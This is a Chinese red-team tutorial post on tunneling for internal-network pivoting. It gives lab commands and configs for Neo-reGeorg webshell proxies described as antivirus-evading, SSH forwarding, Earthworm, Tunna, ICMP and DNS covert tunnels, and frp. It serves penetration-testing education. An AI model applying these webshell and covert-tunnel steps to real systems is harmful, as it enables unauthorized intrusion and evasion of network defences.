红蓝对抗之隧道技术第二篇(reGeorg内网穿透SSH隧道本地Socks代理SSH远程转发Earthworm Socks5代理Tunna正向代理ICMP隧道DNS隧道Frp穿透)
Posted OceanSec
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了红蓝对抗之隧道技术第二篇(reGeorg内网穿透SSH隧道本地Socks代理SSH远程转发Earthworm Socks5代理Tunna正向代理ICMP隧道DNS隧道Frp穿透)相关的知识,希望对你有一定的参考价值。
文章目录
隧道应用
在进行内网渗透时,由于外网主机无法直接连接内网主机,所以需要使用隧道技术来搭建连接通道访问内网主机即内网穿透,本文为隧道应用的第二篇文章,第一篇链接
reGeorg内网穿透
拓扑图中 A 是攻击者通过访问 B 的 80 端口获取了系统权限,C 数据库服务器在内网不能出网,但是 B 拥有双网卡和内网主机 C 在同一网段且能访问,为了访问 C 攻击者 A 在 B 设置了代理,之后 A 就能通过代理访问 C 的服务器以及 C 的整个内网网段,接下来演示使用 reGeorg 工具做代理
reGeorg 是一个能穿透内网的工具,基于 socks5 而且支持的脚本众多。可以说是内网穿透神器,但是作为使用率较多的软件,杀软都会拦截,使用还要做免杀处理,现有一个项目是由 reGeorg 修改而来,而且做了加密处理,脚本也免杀
- 项目地址:https://github.com/L-codes/Neo-reGeorg
-
进入项目目录,打开终端,在使用之前首先生成 key
python3 neoreg.py generate -k password
会生成很多文件,这些文件均免杀
-
选择合适的文件放置到跳板机 B 上,可以使用浏览器访问确认文件存在(b服务器需要能够解析 aspx)
-
攻击者启动代理
python3 neoreg.py -k password -u http://192.168.179.131/tunnel.aspx
启动代理后,可以使用 proxychains 进行端口扫描,需要先修改配置文件
浏览器访问需要设置代理(插件 FoxyProxy)
SSH本地转发(正向)
Linux 下没有 netsh 命令,linux 环境下可以使用 ssh 来实现转发
场景一
A 访问内部网络的 C 服务器的 80 端口
在 A 服务器上执行命令,在 B 上建立转发
ssh -L 本地端口:目标 IP:目标端口 username@ip -fN
# ssh -L 8080:10.0.0.4:80 ocean@192.168.179.141 -fN
# 账号密码为服务器 B 的账密
之后访问本地的 8080 端口即可访问 C 数据库服务器的 80 端口,注意只能在本机访问,其他主机访问攻击者的 IP 是无效的
场景二
把目标的端口转发出来
例如 mysql 服务器只允许本地访问 在外部不能访问。这就很好地保护了 mysql 免受外部攻击
ssh -L 本地端口:目标IP:目标端口 username@IP -fN
# ssh -L 3306:localhost:3306 username@192.168.179.141 -fN
SSH远程转发(反向)
1.首先在 B 修改配置文件
#攻击者执行命令 ssh moonteam@192.168.179.141
moonteam@moonteam-virtual-machine:~$ vim /etc/ssh/sshd_config
# GatewayPorts yes 如果没有请增加 如果请把 no 修改 yes
moonteam@moonteam-virtual-machine:~$ sudo /etc/init.d/ssh restart 或 service sshd reload
这个配置的作用是远程转发后将 127.0.0.1 改为 0.0.0.0 A 通过指定端口就能访问 C
2.在 C 服务器上执行以下命令
ssh -R 本地端口:远程IP:远程端口 ssh服务器
# ssh -R 8080:10.0.0.4:80 10.0.0.3
输入密码后可以将 10.0.0.4:80 反向转发至 10.0.0.3 的 8080 端口
可以看到一条 0.0.0.0:8080 端口的记录
攻击者可以访问 B 的 8080 端口
Earthworm Socks5代理
EW 是一套便携式全平台的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透
官网:https://rootkiter.com/EarthWorm,目前停止更新且已不能下载,特征已被加入杀毒软件规则各大防火墙均可以拦截查杀
Github第三方下载地址:https://github.com/idlefire/ew
该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处
正向代理
实验环境
将 ew win 版放到受害主机 B 上,使用以下命令启动代理
ew_for_Win.exe -s ssocksd -l 8888
启动代理后,如果攻击者想要访问内网主机,还需要在攻击机设置/etc/proxychains.conf
文件
vim /etc/proxychains.conf
最后一行,IP 为代理机的 IP 即 B 的 IP,端口为代理端口
socks5 192.168.179.131 8888
设置后使用代理访问即可
proxychains nmap -Pn -sT 10.0.0.2 -p 80
反向代理
如果内网存在防火墙,正向连接很可能会被拦截,这是可以使用反向代理来突破防火墙限制,从内部连接外部
-
在受害者 B 上执行命令,开启端口转发
ew_for_Win.exe -s rcsocks -l 8888 -e 1024
-
在内网主机 C 上执行命令,开启代理
ew_for_Win.exe -s rssocks -d 10.0.0.3 -e 1024
-
攻击者修改配置文件在
/etc/proxychins.conf
增加socks5 192.168.179.131 8888
设置完毕后攻击者即可使用代理访问内网主机 C,但是整个过程需要三方都参与,而且需要内网主机上传 EW 和启动,无疑是复杂度提升,适用于已经拿到内网主机权限的情况
Tunna正向代理
Tunna 是一款 Python 编写的可以封装和隧道化 HTTP 上的任何 TCP 通信的代理工具,可以用来绕过防火墙环境中的网络限制
python proxy.py -u -l [options]
选项
--help, -h 显示帮助消息并退出。
--url=URL, -u URL 远程 webshell
--lport=LOCAL_PORT, -l LOCAL_PORT 本地监听端口
--verbose, -v 输出数据包大小
--buffer=BUFFERSIZE, -b BUFFERSIZE* HTTP 请求大小(一些 webshels 对大小
有限制)
没有 SOCKS 代理的选择,如果使用 SOCKS 代理,则忽略此选项
--no-socks, -n 不用 SOCKS 代理
--rport=REMOTE_PORT, -r REMOTE_PORT 连接 webshell 服务的远程端口
--addr=REMOTE_IP, -a REMOTE_IP 远程 webshell 连接地址(默认为 127.0.0.1)
注:Tunna 代理并不是非常稳定,经常出现掉线情况,尤其是使用 Tunna 代理远程连接的流量时,经常掉线。但是使用 Tunna 访问内网 web 服务还算稳定
-
首先在受害者 B 网站目录上传匹配的 webshll,webshell 在工具的 weshells 目录内
我使用的环境为 aspx,上传之后可以在浏览器访问验证
-
攻击者使用命令开启代理,python2
python2 proxy.py -u http://www.demo1.com/conn.aspx -l 4444 -a 10.0.0.2 -r 80 -v
ICMP隧道
在一些网络环境中,如果不经过认证,TCP 和 UDP 数据包都会被拦截。这种情况下如果用户可以 ping 通远程计算机,就可以尝试建立 ICMP 隧道,将 TCP 数据通过该隧道发送,可以实现不受限的网络访问。用户需要在受限制网络之外,预先启动该工具建立代理服务器。再以客户端模式运行该工具,就可以建立 ICMP 隧道。为了避免该隧道被滥用,用户还可以为隧道设置使用密码
- icmptunnel 可以将 IP 流量封装进 IMCP 的 ping 数据包中,旨在利用 ping穿透防火墙的检测,因为通常防火墙是不会屏蔽 ping 数据包的
- 请 求 端 的Ping 工 具 会 在ICMP 数 据 包 后 面 附 加 上 一 段 随 机 的 数 据 作 为Payload,而响应端则会拷贝这段 Payload 到 ICMP 响应数据包中返还给请求端,用于识别和匹配 Ping 请求
- 在使用 ptunnel 进行内网穿透时,客户端会将 IP 帧封装在 ICMP 请求数据包中发送给服务器,而服务器端则会使用相匹配的 ICMP 响应数据包进行回复。这样在旁人看来,网络中传播的仅仅只是正常的 ICMP 数据包
a 与 b 能互通 b 与 c 能互通 a 与 c 之间有防护墙拦截禁用 TCP 协议 但是 A 能 ping同 c 由此判断防火墙没有对 icmp 协议进行封禁,因此可以用 imcp 隧道技术,三台主机均为 linux
-
在 b 上执行命令创建隧道
ptunnel -x 123456 # -x 指定密码
-
攻击者执行以下命令
ptunnel -p 192.168.179.131 -lp 8080 -da 192.168.179.151 -dp 80 -x 123456 -p 接目的地址即跳板主机B的地址 -lp 即 localport 本地端口 -da 要连接的远程主机C地址 -dp C的端口 -x 连接密码
攻击者 A 使用浏览器访问访问 127.0.0.1 的 8080 端口,内容为 C 的 80 端口
用户可以使用 iptables 封禁 tcp 协议
iptables -A INPUT -p tcp -s 192.168.0.143 -j DROP
DNS隧道
DNS Tunneling,是隐蔽信道的一种,通过将其他协议封装在 DNS 协议中传输建立通信。因为在我们的网络世界中 DNS 是一个必不可少的服务,所以大部分防火墙和入侵检测设备很少会过滤 DNS 流量,这就给 DNS 作为一种隐蔽信道提供了条件,从而可以利用它实现诸如远程控制,文件传输等操作,现在越来越多的研究证明 DNS Tunneling 也经常在僵尸网络和 APT 攻击中扮演着重要的角色,比如 CS 中使用的 DNS beacon
常用的DNS隧道工具:
- dns2tcp:支持直连模式的DNS隧道,只实现了简单的DNS隧道,相关命令和控制服务需要自行搭建,且已在kali系统中直接集成。
- iodine:最活跃、速度最快、支持直连和中继模式,且支持丰富的编码、请求类型选择
- Dnscat2:封装在DNS协议中的加密C&C信道,直接运行工具即可实现数据传输、文件操作等命令和控制功能
接下来介绍 dns2tcp 的使用方法
dns2tcp 是一个利用 DNS 隧道转发 TCP 连接的工具,支持 KEY 和 TXT 类型的请求,用 C 语言开发。它分为两个部分,服务端和客户端,服务端运行在 linux服务器上,客户端可以运行在 linux 和 windows 上(其他平台没有测试过),编译完成后在服务端上的可执行文件名称为 dns2tcpd,在客户端(linux)上的名称为dns2tcpc,kali 默认安装了二者
其实之前说过 CS 的 DNS Beacon,整个流程和这个类似,原理可以看这篇文章,链接
-F 强制在在台运行,默认在后台
-i IP address 监听 ip,默认 0.0.0.0
-f 配置文件 指定使用的配置文件路径
-d debug level 指定调试级别,输出相关级别日志,默认为 1,2,3
dns2tcpc
-c: 启用压缩
-z <domain>: 指定所使用的域名
-d <1|2|3>: 调试级别 (1, 2 or 3)
-r <resource>: 访问的目标资源
-f <filename>: 配置文件路径
-l <port|->: 本地监听端口
-T <TXT|KEY>: DNS 请求类型,默认为 TXT
配置文件 为了避免运行时指定太多的参数,可以通过指定配置文件来启动服务端。示例如下:
listen = 0.0.0.0
port = 53
user = nobody
chroot = /tmp
domain = <domain.com>
resources = ssh:127.0.0.1:22,socks:127.0.0.1:1082,http:127.0.0.1:3128
-
首先需要有自己的 VPS 和域名,添加一条域名解析记录指向自己的 VPS IP
在添加一条 NS 记录指向 www 记录
VPS 安全策略一定要开启 53 端口
-
在 VPS 上安装 dns2tcp
# debian sudo apt-get install dns2tcp # centos git clone https://github.com/alex-sector/dns2tcp.git tar zxf dns2tcp-0.5.2.tar.gz cd dns2tcp-0.5.2 ./configure make & make install
修改配置文件
sudo vi /etc/dns2tcpd.conf listen = 0.0.0.0 port = 53 # If you change this value, also change the USER variable in /etc/default/dns2tcpd user = root key = 123456 chroot = /tmp domain = dns.ocean888.cn resources = ssh:127.0.0.1:22 , smtp:127.0.0.1:25
需要改的就是 user、key、domain、resources
-
VPS 上运行 dns2tcp
dns2tcpd -f /etc/dns2tcpd.conf -F -d 3 -f:指定配置文件启动 -F:指定dns2tcp工具运行在前台 -d:指定调试日志打印等级
下图为正常启动
到此服务端配置完毕
-
配置客户端启动
我这里用的 linux,windows 需要使用编译好(或下载)的 EXE 可执行程序的目录下打开 powershell 窗口,并执行如下启动命令,工具可以在文末链接下载
dns2tcpc -r ssh -k 123456 c2 -z dns.ocean888.cn 121.196.173.211 -l 5353 -d 2 -k:密码 -r:指定要使用的服务端配置的资源对应的名 -z:配置为建立DNS隧道使用的域名 -l:指定隧道客户端监听的本地端口 -d:作用同服务端,输出2级调试信息
命令中的 121.196.173.211 表示指定目标DNS服务器(也可以是DNS服务器的域名,但必须在上一级域名的DNS记录中正确配置了NS记录和A记录),若不指定则使用默认DNS进行解析
使用 ssh 连接本地 5353 端口,就相当于访问服务器端 22 端口
这样一条隐蔽隧道就搭建起来了
推荐阅读:
Frp穿透
- 项目地址:https://github.com/fatedier/frp
- 中文文档:https://gofrp.org/docs/
frp 是一个可用于内网穿透的高性能的全平台反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网
frp 采用 Golang 编写,支持跨平台,仅需下载对应平台的二进制文件即可执行,没有额外依赖
Frp 分为服务端和客户端
- 服务端只能为 Linux 负责处理请求,转发流量
- 客户端 linux 和 windows 都支持 负责把本地的流量连到服务器,让服务器读取&写入
测试环境如下
主机 C 在内网,攻击者不能直接访问,如果想要访问内网主机可以把其端口映射到公网主机上,因
为这种方式是从 C 内部发起请求的,所以很好的穿透防火墙
-
在公网 VPS 上搭建服务端
wget https://github.com/fatedier/frp/releases/download/v0.33.0/frp_0.33.0_linux_amd64.tar.gz tar zxvf frp_0.33.0_linux_amd64.tar.gz mv frp_0.33.0_linux_amd64 frp cd frp
配置服务端文件 frps.ini
[common] bind_port = 7777 token = ocean1234
客户端连接的端口、token 为连接密码,使用命令启动服务端
./frps -c frps.ini # 如果版本不正确无法启动
以上服务端配置完毕,frps 启动后将监听监听 7000 端口,用 ps aux 查看进程信息 和 netstat antl 端口
经常使用的话可以设置开启自启
设置开机启动 vi /lib/systemd/system/frps.service [Unit] Description=fraps service After=network.target syslog.target Wants=network.target [Service] Type=simple #启动服务的命令(此处写你的 frps 的实际安装目录) ExecStart=/root/frp/frps -c /root/frp/frps.ini [Install] WantedBy=multi-user.target #启动 frpc systemctl daemon-reload systemctl start frps #设置为开机启动 systemctl enable frps
-
客户端下载系统对应合适版本 frp,下载之后配置 frpc.ini 文件
[common] server_addr = 112.12.179.138 #服务器的 IP server_port = 7777 # Frp 服务的端口 token = ocean1234 #连接的密码 [web] #服务器名 type = tcp #连接协议类型 local_ip = 127.0.0.1 #访问的 ip 可以是内网任何一个 ip local_port = 80 # 本地端口 remote_port = 7000 # 想要映射到远程服务器的端口
注:配置文件中不要出现注释
正常启动
-
因为内网主机 80 端口存在业务,frp 启动成功后可以在浏览器访问 B 的 7000 端口,这样就成功将内网主机的 80 端口通过建立 Frp 内网穿透映射到了 B 的 7000 端口
注意:VPS 的7000 和 7777 端口需要在服务器安全组中放开
稍后会更新一篇使用 Frp 多层内网通信隧道搭建的文章深入探索 Frp 这款工具
推荐阅读&工具包
以上是关于红蓝对抗之隧道技术第二篇(reGeorg内网穿透SSH隧道本地Socks代理SSH远程转发Earthworm Socks5代理Tunna正向代理ICMP隧道DNS隧道Frp穿透)的主要内容,如果未能解决你的问题,请参考以下文章
红蓝对抗之隧道技术第一篇(内网穿透端口映射&端口转发Netsh端口转发CS正反向连接多层内网Burp设置上游代理访问内网MSF protfwd端口转发/重定向)